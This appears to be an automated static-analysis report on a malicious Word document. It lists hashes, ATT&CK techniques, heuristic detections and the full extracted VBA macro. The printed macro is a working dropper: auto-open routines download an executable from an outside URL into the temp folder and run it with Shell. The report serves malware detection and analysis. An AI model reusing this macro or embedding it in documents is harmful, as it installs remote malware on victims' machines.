Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2e04f187991cc43b…

MALICIOUS

Office (OLE)

140.5 KB Created: 2014-06-02 11:59:00 Authoring application: Microsoft Office Word First seen: 2015-09-26
MD5: 4f3c2ec2cd1b56c16a054191259007e0 SHA-1: aacebaf3c47ea5ecd2be0f2131b1402f74e9844d SHA-256: 2e04f187991cc43b09ce1de0f2187530937e7f1f851d5f5ca029c16eb9981839
374 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains VBA macros that leverage the `URLDownloadToFileA` API to download a second-stage executable from `http://french-sec.org/documentw.exe`. The downloaded file is saved to the temporary directory as `NERAKIHYZFF.exe` and then executed using the `Shell` function. The document body explicitly instructs the user to enable macros, indicating a social engineering lure.

Heuristics 13

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        IQBFSUGMMUJ = Shell(ZPTTJJTEOOH, 1)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal IBWYHNMEBMC As Long, _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
        Auto_Open
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        NUFXVAXFUSE "http://french-sec.org/documentw.exe", Environ("TEMP") & "\NERAKIHYZFF.exe"
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://french-sec.org/documentw.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1334 bytes
SHA-256: 7f219f3cf022698f24b253ad1bb446c3b682c762cb704ec6907f008ed7bf0c92
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
#If Win64 Then
    Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal IBWYHNMEBMC As Long, _
ByVal BYJCNLFAYIJ As String, ByVal PHTPKQMRBZO As String, ByVal EDESKIVEPFB As Long, _
ByVal CCOZHFTBTIA As Long) As Long
#Else
    Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal IBWYHNMEBMC As Long, _
ByVal BYJCNLFAYIJ As String, ByVal PHTPKQMRBZO As String, ByVal EDESKIVEPFB As Long, _
ByVal CCOZHFTBTIA As Long) As Long
#End If
Function NUFXVAXFUSE(EESCFQSHYVQ As String, ZPTTJJTEOOH As String) As Boolean
    Dim UZLNRRNKLMX As Long
    UZLNRRNKLMX = URLDownloadToFileA(0, EESCFQSHYVQ, ZPTTJJTEOOH, 0, 0)
    If UZLNRRNKLMX = 0 Then NUFXVAXFUSE = True
    Dim IQBFSUGMMUJ
    IQBFSUGMMUJ = Shell(ZPTTJJTEOOH, 1)
End Function
Public Sub YMPESCWRJLD()
    NUFXVAXFUSE "http://french-sec.org/documentw.exe", Environ("TEMP") & "\NERAKIHYZFF.exe"
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Auto_Open()
YMPESCWRJLD
End Sub